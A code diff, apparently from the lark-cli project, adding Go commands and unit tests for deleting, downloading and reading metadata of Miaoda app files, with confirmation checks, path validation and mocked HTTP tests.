requireEnvVarValidationProblem(t, err, "--environment")
|
||||
}
|
||||
|
||||
func TestAppsEnvVarList_OldEnvFlagIsNotAlias(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsEnvVarList,
|
||||
[]string{"+env-list", "--app-id", "app_x", "--env", "online", "--as", "user"}, factory, stdout)
|
||||
if err == nil || !strings.Contains(err.Error(), "unknown flag: --env") {
|
||||
t.Fatalf("expected old --env to be rejected, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvVarSet_InvalidKeyTypedValidation(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsEnvVarSet,
|
||||
[]string{"+env-set", "--app-id", "app_x", "--key", "bad-key",
|
||||
"--value", "super-secret", "--as", "user"}, factory, stdout)
|
||||
requireEnvVarValidationProblem(t, err, "--key")
|
||||
}
|
||||
|
||||
func TestAppsEnvVarDelete_InvalidKeyTypedValidation(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsEnvVarDelete,
|
||||
[]string{"+env-delete", "--app-id", "app_x", "--key", "bad-key",
|
||||
"--yes", "--as", "user"}, factory, stdout)
|
||||
requireEnvVarValidationProblem(t, err, "--key")
|
||||
}
|
||||
@@ -14,6 +14,9 @@ func TestAppsShortcutsHaveExamples(t *testing.T) {
|
||||
email := regexp.MustCompile(`[A-Za-z0-9._%+\-]+@[A-Za-z0-9.\-]+\.[A-Za-z]{2,}`)
|
||||
phone := regexp.MustCompile(`\b1[3-9]\d{9}\b`)
|
||||
for _, s := range Shortcuts() {
|
||||
if s.Hidden {
|
||||
continue
|
||||
}
|
||||
hasExample := false
|
||||
for _, tip := range s.Tips {
|
||||
if strings.HasPrefix(tip, "Example: lark-cli apps +") {
|
||||
@@ -50,3 +53,62 @@ func TestHighFreqCommandsHaveMultipleExamples(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvTipsCoverConfirmations(t *testing.T) {
|
||||
envSet := requireShortcutForExamples(t, "+env-set")
|
||||
if !tipsContainAll(envSet.Tips, "--environment online", "--yes") {
|
||||
t.Fatalf("+env-set tips must include an online write example with --environment online --yes: %#v", envSet.Tips)
|
||||
}
|
||||
|
||||
envDelete := requireShortcutForExamples(t, "+env-delete")
|
||||
if !tipsContainAll(envDelete.Tips, "--yes") {
|
||||
t.Fatalf("+env-delete tips must include --yes: %#v", envDelete.Tips)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsObservabilityTipsMentionOnlineOnly(t *testing.T) {
|
||||
for _, cmd := range []string{
|
||||
"+log-list",
|
||||
"+log-get",
|
||||
"+trace-list",
|
||||
"+trace-get",
|
||||
"+metric-list",
|
||||
"+analytics-list",
|
||||
} {
|
||||
shortcut := requireShortcutForExamples(t, cmd)
|
||||
if !tipsContainAll(shortcut.Tips, "online-only", "--environment online") {
|
||||
t.Fatalf("%s tips should mention online-only env: %#v", cmd, shortcut.Tips)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func requireShortcutForExamples(t *testing.T, command string) shortcutForExamples {
|
||||
t.Helper()
|
||||
for _, sc := range Shortcuts() {
|
||||
if sc.Command == command {
|
||||
return shortcutForExamples{Tips: sc.Tips}
|
||||
}
|
||||
}
|
||||
t.Fatalf("missing shortcut %s", command)
|
||||
return shortcutForExamples{}
|
||||
}
|
||||
|
||||
type shortcutForExamples struct {
|
||||
Tips []string
|
||||
}
|
||||
|
||||
func tipsContainAll(tips []string, needles ...string) bool {
|
||||
for _, tip := range tips {
|
||||
ok := true
|
||||
for _, needle := range needles {
|
||||
if !strings.Contains(tip, needle) {
|
||||
ok = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if ok {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
148
shortcuts/apps/apps_file_delete.go
Normal file
148
shortcuts/apps/apps_file_delete.go
Normal file
@@ -0,0 +1,148 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/shortcuts/common"
|
||||
)
|
||||
|
||||
// AppsFileDelete batch-deletes files by remote path(high-risk-write,框架自动注入 --yes 确认)。
|
||||
//
|
||||
// POST /apps/{app_id}/storage/file_batch_remove,body {paths:[...]}。网关把该路由注册为 POST
|
||||
// (DELETE-with-body 不被网关支持,实测 DELETE→404 / POST→200)。后端 results[] 与请求 paths
|
||||
// 顺序一一对应:成功项带 file,失败项带 error_code(CLI 据下标回填 path)。
|
||||
// 部分失败整体仍 ok:true —— 失败项落在 data.results[].error,不翻成非 0 退出码(lark-cli 信封语义)。
|
||||
var AppsFileDelete = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+file-delete",
|
||||
Description: "Delete one or more files by remote path (batch)",
|
||||
Risk: "high-risk-write",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +file-delete --app-id <app_id> --path /1858537546760216.png --yes",
|
||||
"Repeat --path for batch delete.",
|
||||
},
|
||||
Scopes: []string{"spark:app:write"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: []common.Flag{
|
||||
{Name: "app-id", Desc: "Miaoda app id", Required: true},
|
||||
{Name: "path", Type: "string_slice", Desc: "remote file path to delete (repeatable)", Required: true},
|
||||
},
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
if len(cleanDeletePaths(rctx)) == 0 {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--path is required (at least one remote path)").WithParam("--path")
|
||||
}
|
||||
return nil
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
return common.NewDryRunAPI().
|
||||
POST(appFileBatchRemovePath(appID)).
|
||||
Desc("Batch delete Miaoda app files").
|
||||
Body(map[string]interface{}{"paths": cleanDeletePaths(rctx)})
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
appID, err := requireAppID(rctx.Str("app-id"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
paths := cleanDeletePaths(rctx)
|
||||
data, err := rctx.CallAPITyped("POST", appFileBatchRemovePath(appID), nil, map[string]interface{}{"paths": paths})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
results := projectDeleteResults(data["results"], paths)
|
||||
out := map[string]interface{}{"results": results}
|
||||
rctx.OutFormat(out, nil, func(w io.Writer) {
|
||||
renderFileDeletePretty(w, results)
|
||||
})
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// cleanDeletePaths 取 --path 切片,trim 去空。
|
||||
func cleanDeletePaths(rctx *common.RuntimeContext) []string {
|
||||
out := make([]string, 0)
|
||||
for _, p := range rctx.StrSlice("path") {
|
||||
if t := strings.TrimSpace(p); t != "" {
|
||||
out = append(out, t)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// projectDeleteResults 把后端 results[] 按下标 zip 回请求 paths,回填 path,
|
||||
// 失败项把 error_code 包成 {code,message} 便于消费。
|
||||
func projectDeleteResults(raw interface{}, inputs []string) []map[string]interface{} {
|
||||
arr, _ := raw.([]interface{})
|
||||
out := make([]map[string]interface{}, 0, len(inputs))
|
||||
for i, input := range inputs {
|
||||
var r map[string]interface{}
|
||||
if i < len(arr) {
|
||||
r, _ = arr[i].(map[string]interface{})
|
||||
}
|
||||
status := "ok"
|
||||
if r != nil && common.GetString(r, "status") != "" {
|
||||
status = common.GetString(r, "status")
|
||||
}
|
||||
item := map[string]interface{}{"status": status, "path": input}
|
||||
if status == "ok" {
|
||||
if r != nil {
|
||||
if f, ok := r["file"].(map[string]interface{}); ok {
|
||||
item["file_name"] = common.GetString(f, "file_name")
|
||||
}
|
||||
}
|
||||
} else {
|
||||
code := ""
|
||||
if r != nil {
|
||||
code = common.GetString(r, "error_code")
|
||||
}
|
||||
if code == "" {
|
||||
code = "DELETE_FAILED"
|
||||
}
|
||||
item["error"] = map[string]interface{}{
|
||||
"code": code,
|
||||
"message": deleteErrorMessage(code, input),
|
||||
}
|
||||
}
|
||||
out = append(out, item)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// deleteErrorMessage 据 error_code 生成删除失败文案:FILE_NOT_FOUND 提示文件不存在,其余统一删除失败。
|
||||
func deleteErrorMessage(code, path string) string {
|
||||
if code == "FILE_NOT_FOUND" {
|
||||
return fmt.Sprintf("File '%s' does not exist", path)
|
||||
}
|
||||
return fmt.Sprintf("Failed to delete '%s'", path)
|
||||
}
|
||||
|
||||
// renderFileDeletePretty 逐项打 ✓ / ✗,末行汇总 deleted 计数。
|
||||
func renderFileDeletePretty(w io.Writer, results []map[string]interface{}) {
|
||||
okCount := 0
|
||||
for _, r := range results {
|
||||
path := common.GetString(r, "path")
|
||||
if common.GetString(r, "status") == "ok" {
|
||||
fmt.Fprintf(w, "✓ %s\n", path)
|
||||
okCount++
|
||||
continue
|
||||
}
|
||||
code := ""
|
||||
if e, ok := r["error"].(map[string]interface{}); ok {
|
||||
code = common.GetString(e, "code")
|
||||
}
|
||||
fmt.Fprintf(w, "✗ %s (%s)\n", path, code)
|
||||
}
|
||||
fmt.Fprintf(w, "\n%d/%d deleted\n", okCount, len(results))
|
||||
}
|
||||
132
shortcuts/apps/apps_file_delete_test.go
Normal file
132
shortcuts/apps/apps_file_delete_test.go
Normal file
@@ -0,0 +1,132 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
)
|
||||
|
||||
const fileDeleteURL = "/open-apis/spark/v1/apps/app_x/storage/file_batch_remove"
|
||||
|
||||
// TestAppsFileDelete_RequiresAppIDAndPath 验证仅含空白的 --path 去空后为空时,Validate 报 --path typed 校验错误。
|
||||
func TestAppsFileDelete_RequiresAppIDAndPath(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
// 传入仅含空白的 --path:满足 cobra 的 Required 检查,但 cleanDeletePaths 去空后为空,
|
||||
// 触发 Validate 内的 typed --path 校验。
|
||||
err := runAppsShortcut(t, AppsFileDelete,
|
||||
[]string{"+file-delete", "--app-id", "app_x", "--path", " ", "--yes", "--as", "user"}, factory, stdout)
|
||||
var ve *errs.ValidationError
|
||||
if !errors.As(err, &ve) {
|
||||
t.Fatalf("err = %T %v, want *errs.ValidationError", err, err)
|
||||
}
|
||||
if ve.Param != "--path" {
|
||||
t.Fatalf("Param = %q, want --path", ve.Param)
|
||||
}
|
||||
}
|
||||
|
||||
// high-risk-write:无 --yes → confirmation_required(exit 10)。
|
||||
func TestAppsFileDelete_RequiresConfirmation(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsFileDelete,
|
||||
[]string{"+file-delete", "--app-id", "app_x", "--path", "/a.png", "--as", "user"}, factory, stdout)
|
||||
if err == nil || !strings.Contains(err.Error(), "requires confirmation") {
|
||||
t.Fatalf("expected confirmation_required, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsFileDelete_DryRunSendsPaths 验证 dry-run 输出 POST file_batch_remove,body.paths 按序携带多个 --path。
|
||||
func TestAppsFileDelete_DryRunSendsPaths(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsFileDelete,
|
||||
[]string{"+file-delete", "--app-id", "app_x", "--path", "/a.png", "--path", "/b.png", "--yes", "--dry-run", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
var env struct {
|
||||
API []struct {
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Body map[string]interface{} `json:"body"`
|
||||
} `json:"api"`
|
||||
}
|
||||
_ = json.Unmarshal([]byte(stdout.String()), &env)
|
||||
a := env.API[0]
|
||||
if a.Method != "POST" || a.URL != fileDeleteURL {
|
||||
t.Fatalf("dry-run = %s %s", a.Method, a.URL)
|
||||
}
|
||||
paths, _ := a.Body["paths"].([]interface{})
|
||||
if len(paths) != 2 || paths[0] != "/a.png" || paths[1] != "/b.png" {
|
||||
t.Fatalf("body.paths = %v", a.Body["paths"])
|
||||
}
|
||||
}
|
||||
|
||||
// 部分失败仍 ok:true;results 按下标 zip 回 path;失败项带 error{code,message}。
|
||||
func TestAppsFileDelete_PartialFailureStillOK(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST", URL: fileDeleteURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{
|
||||
"results": []interface{}{
|
||||
map[string]interface{}{"status": "ok", "file": map[string]interface{}{"file_name": "a.png", "path": "/a.png"}},
|
||||
map[string]interface{}{"status": "error", "error_code": "FILE_NOT_FOUND"},
|
||||
},
|
||||
}},
|
||||
})
|
||||
err := runAppsShortcut(t, AppsFileDelete,
|
||||
[]string{"+file-delete", "--app-id", "app_x", "--path", "/a.png", "--path", "/missing.png", "--yes", "--as", "user"}, factory, stdout)
|
||||
if err != nil {
|
||||
t.Fatalf("partial failure should NOT error (ok:true semantics), got %v", err)
|
||||
}
|
||||
got := stdout.String()
|
||||
var env struct {
|
||||
Data struct {
|
||||
Results []map[string]interface{} `json:"results"`
|
||||
} `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(got), &env); err != nil {
|
||||
t.Fatalf("decode: %v\n%s", err, got)
|
||||
}
|
||||
if len(env.Data.Results) != 2 {
|
||||
t.Fatalf("want 2 results, got %d: %s", len(env.Data.Results), got)
|
||||
}
|
||||
r0, r1 := env.Data.Results[0], env.Data.Results[1]
|
||||
if r0["status"] != "ok" || r0["path"] != "/a.png" {
|
||||
t.Errorf("result[0] = %v", r0)
|
||||
}
|
||||
if r1["status"] != "error" || r1["path"] != "/missing.png" {
|
||||
t.Errorf("result[1] = %v (path must be back-filled by index)", r1)
|
||||
}
|
||||
if e, ok := r1["error"].(map[string]interface{}); !ok || e["code"] != "FILE_NOT_FOUND" {
|
||||
t.Errorf("result[1].error = %v (want code FILE_NOT_FOUND)", r1["error"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsFileDelete_PrettySummary 验证 pretty 输出逐项 ✓/✗ 标记并汇总 "1/2 deleted"。
|
||||
func TestAppsFileDelete_PrettySummary(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST", URL: fileDeleteURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{
|
||||
"results": []interface{}{
|
||||
map[string]interface{}{"status": "ok", "file": map[string]interface{}{"file_name": "a.png"}},
|
||||
map[string]interface{}{"status": "error", "error_code": "FILE_NOT_FOUND"},
|
||||
},
|
||||
}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsFileDelete,
|
||||
[]string{"+file-delete", "--app-id", "app_x", "--path", "/a.png", "--path", "/missing.png", "--yes", "--format", "pretty", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
got := stdout.String()
|
||||
for _, want := range []string{"✓ /a.png", "✗ /missing.png (FILE_NOT_FOUND)", "1/2 deleted"} {
|
||||
if !strings.Contains(got, want) {
|
||||
t.Errorf("pretty missing %q:\n%s", want, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
125
shortcuts/apps/apps_file_download.go
Normal file
125
shortcuts/apps/apps_file_download.go
Normal file
@@ -0,0 +1,125 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"path"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/extension/fileio"
|
||||
"github.com/larksuite/cli/shortcuts/common"
|
||||
)
|
||||
|
||||
// AppsFileDownload downloads a file to a local path via a signed URL。
|
||||
//
|
||||
// 两步:POST /apps/{app_id}/storage/file_sign 拿 signed_url(presigned,直连对象存储),
|
||||
// 再客户端 GET signed_url 落盘到 --output(默认远端 basename)。不单设 download 接口。
|
||||
var AppsFileDownload = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+file-download",
|
||||
Description: "Download a file to a local path (via a signed URL)",
|
||||
Risk: "read",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +file-download --app-id <app_id> --path /1858537546760216.png --output ./logo.png",
|
||||
"Example (omit --output): lark-cli apps +file-download --app-id <app_id> --path /1858537546760216.png # saves to ./1858537546760216.png",
|
||||
},
|
||||
Scopes: []string{"spark:app:read"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: []common.Flag{
|
||||
{Name: "app-id", Desc: "Miaoda app id", Required: true},
|
||||
{Name: "path", Desc: "remote file path", Required: true},
|
||||
{Name: "output", Desc: "local output path (default: remote file basename in cwd)"},
|
||||
},
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := rejectOutputTraversal(rctx.Str("output")); err != nil {
|
||||
return err
|
||||
}
|
||||
_, err := requireFilePath(rctx.Str("path"))
|
||||
return err
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
remotePath, _ := requireFilePath(rctx.Str("path"))
|
||||
return common.NewDryRunAPI().
|
||||
POST(appFileSignPath(appID)).
|
||||
Desc("Sign a download URL, then GET it to --output").
|
||||
Body(map[string]interface{}{"path": remotePath})
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
appID, err := requireAppID(rctx.Str("app-id"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
remotePath, err := requireFilePath(rctx.Str("path"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 1. 签名拿 presigned signed_url。
|
||||
signData, err := rctx.CallAPITyped("POST", appFileSignPath(appID), nil, map[string]interface{}{"path": remotePath})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
signedURL := common.GetString(signData, "signed_url")
|
||||
if signedURL == "" {
|
||||
return errs.NewInternalError(errs.SubtypeInvalidResponse, "sign returned no signed_url")
|
||||
}
|
||||
|
||||
// 2. 直连 GET signed_url 落盘。
|
||||
out := strings.TrimSpace(rctx.Str("output"))
|
||||
if out == "" {
|
||||
out = path.Base(strings.TrimPrefix(remotePath, "/"))
|
||||
if out == "" || out == "." || out == "/" {
|
||||
out = "download"
|
||||
}
|
||||
}
|
||||
req, err := http.NewRequestWithContext(rctx.Ctx(), http.MethodGet, signedURL, nil) //nolint:forbidigo // GET from a presigned object-storage URL bypasses the Lark gateway; raw HTTP required (not a Lark API call).
|
||||
if err != nil {
|
||||
return errs.NewNetworkError(errs.SubtypeNetworkTransport, "build download request").WithCause(err)
|
||||
}
|
||||
resp, err := newFileTransferClient().Do(req) //nolint:forbidigo // see above: direct presigned-URL download, RuntimeContext.DoAPI does not apply.
|
||||
if err != nil {
|
||||
// dial/transport 失败是典型可重试场景。
|
||||
return errs.NewNetworkError(errs.SubtypeNetworkTransport, "download failed").WithCause(err).WithRetryable()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode >= 400 {
|
||||
io.Copy(io.Discard, io.LimitReader(resp.Body, 4096))
|
||||
// 5xx 是上游瞬时故障,标 retryable;4xx(如签名过期)需重新签名而非盲重试,不标。
|
||||
if resp.StatusCode >= 500 {
|
||||
return errs.NewNetworkError(errs.SubtypeNetworkServer, "download failed: HTTP %d", resp.StatusCode).WithRetryable()
|
||||
}
|
||||
return errs.NewNetworkError(errs.SubtypeNetworkTransport, "download failed: HTTP %d", resp.StatusCode)
|
||||
}
|
||||
saved, err := rctx.FileIO().Save(out, fileio.SaveOptions{
|
||||
ContentType: resp.Header.Get("Content-Type"),
|
||||
ContentLength: resp.ContentLength,
|
||||
}, resp.Body)
|
||||
if err != nil {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--output: %v", err).WithParam("--output").WithCause(err)
|
||||
}
|
||||
resolved, perr := rctx.FileIO().ResolvePath(out)
|
||||
if perr != nil || resolved == "" {
|
||||
resolved = out
|
||||
}
|
||||
result := map[string]interface{}{
|
||||
"path": remotePath,
|
||||
"output": resolved,
|
||||
"size_bytes": saved.Size(),
|
||||
}
|
||||
rctx.OutFormat(result, nil, func(w io.Writer) {
|
||||
fmt.Fprintf(w, "✓ Downloaded %s → %s (%s)\n", remotePath, resolved, humanBytes(saved.Size()))
|
||||
})
|
||||
return nil
|
||||
},
|
||||
}
|
||||
122
shortcuts/apps/apps_file_download_test.go
Normal file
122
shortcuts/apps/apps_file_download_test.go
Normal file
@@ -0,0 +1,122 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
)
|
||||
|
||||
const fileSignURLForDownload = "/open-apis/spark/v1/apps/app_x/storage/file_sign"
|
||||
|
||||
// TestAppsFileDownload_RequiresAppIDAndPath 验证仅含空白的 --path 触发 --path typed 校验错误。
|
||||
func TestAppsFileDownload_RequiresAppIDAndPath(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsFileDownload,
|
||||
[]string{"+file-download", "--app-id", "app_x", "--path", " ", "--as", "user"}, factory, stdout)
|
||||
var ve *errs.ValidationError
|
||||
if !errors.As(err, &ve) {
|
||||
t.Fatalf("err = %T %v, want *errs.ValidationError", err, err)
|
||||
}
|
||||
if ve.Param != "--path" {
|
||||
t.Fatalf("Param = %q, want --path", ve.Param)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsFileDownload_DryRunSignsFirst 验证 dry-run 第一步是 POST file_sign。
|
||||
func TestAppsFileDownload_DryRunSignsFirst(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsFileDownload,
|
||||
[]string{"+file-download", "--app-id", "app_x", "--path", "/x.png", "--dry-run", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
var env struct {
|
||||
API []struct {
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
} `json:"api"`
|
||||
}
|
||||
_ = json.Unmarshal([]byte(stdout.String()), &env)
|
||||
if env.API[0].Method != "POST" || env.API[0].URL != fileSignURLForDownload {
|
||||
t.Fatalf("dry-run = %s %s (want POST sign)", env.API[0].Method, env.API[0].URL)
|
||||
}
|
||||
}
|
||||
|
||||
// sign → 客户端 GET presigned signed_url → 落盘 --output。
|
||||
func TestAppsFileDownload_EndToEnd(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
w.WriteHeader(http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "image/png")
|
||||
io.WriteString(w, "PNGDATA")
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
dir := t.TempDir()
|
||||
oldWD, _ := os.Getwd()
|
||||
if err := os.Chdir(dir); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = os.Chdir(oldWD) })
|
||||
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST", URL: fileSignURLForDownload,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"signed_url": srv.URL}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsFileDownload,
|
||||
[]string{"+file-download", "--app-id", "app_x", "--path", "/x.png", "--output", "out.png", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
b, err := os.ReadFile(filepath.Join(dir, "out.png"))
|
||||
if err != nil {
|
||||
t.Fatalf("read output file: %v", err)
|
||||
}
|
||||
if string(b) != "PNGDATA" {
|
||||
t.Fatalf("downloaded content = %q, want PNGDATA", b)
|
||||
}
|
||||
if !strings.Contains(stdout.String(), `"size_bytes": 7`) {
|
||||
t.Errorf("output json missing size_bytes:7\n%s", stdout.String())
|
||||
}
|
||||
}
|
||||
|
||||
// 不传 --output → 默认远端 basename。
|
||||
func TestAppsFileDownload_DefaultsOutputToBasename(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
io.WriteString(w, "DATA")
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
dir := t.TempDir()
|
||||
oldWD, _ := os.Getwd()
|
||||
if err := os.Chdir(dir); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = os.Chdir(oldWD) })
|
||||
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST", URL: fileSignURLForDownload,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"signed_url": srv.URL}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsFileDownload,
|
||||
[]string{"+file-download", "--app-id", "app_x", "--path", "/1858537546760216.png", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(dir, "1858537546760216.png")); err != nil {
|
||||
t.Fatalf("default output basename not written: %v", err)
|
||||
}
|
||||
}
|
||||
87
shortcuts/apps/apps_file_get.go
Normal file
87
shortcuts/apps/apps_file_get.go
Normal file
@@ -0,0 +1,87 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
|
||||
"github.com/larksuite/cli/shortcuts/common"
|
||||
)
|
||||
|
||||
// AppsFileGet gets one file's metadata by exact remote path(动词对齐 +file-list)。
|
||||
//
|
||||
// GET /apps/{app_id}/storage/file?path=<path>。file 仅按 path 精确寻址,无按名寻址。
|
||||
// pretty 渲染 key/value:file_name / path / size(含 bytes) / type / uploaded_by(只 name) / uploaded_at /
|
||||
// download_url(条件出现)。server created_at/created_by → uploaded_at/uploaded_by。
|
||||
var AppsFileGet = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+file-get",
|
||||
Description: "Get a single file's metadata by path",
|
||||
Risk: "read",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +file-get --app-id <app_id> --path /1858537546760216.png",
|
||||
"Tip: extract a single field with --jq, e.g. -q '.size_bytes' or -q '.download_url'",
|
||||
},
|
||||
Scopes: []string{"spark:app:read"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: []common.Flag{
|
||||
{Name: "app-id", Desc: "Miaoda app id", Required: true},
|
||||
{Name: "path", Desc: "remote file path", Required: true},
|
||||
},
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
_, err := requireFilePath(rctx.Str("path"))
|
||||
return err
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
return common.NewDryRunAPI().
|
||||
GET(appFileGetPath(appID)).
|
||||
Desc("Get Miaoda app file metadata").
|
||||
Params(buildFileGetParams(rctx))
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
appID, err := requireAppID(rctx.Str("app-id"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
data, err := rctx.CallAPITyped("GET", appFileGetPath(appID), buildFileGetParams(rctx), nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
info := projectFileInfo(data)
|
||||
rctx.OutFormat(info, nil, func(w io.Writer) {
|
||||
renderFileGetPretty(w, info)
|
||||
})
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// buildFileGetParams 组装 file_get 查询参数:按 path 精确寻址单文件。
|
||||
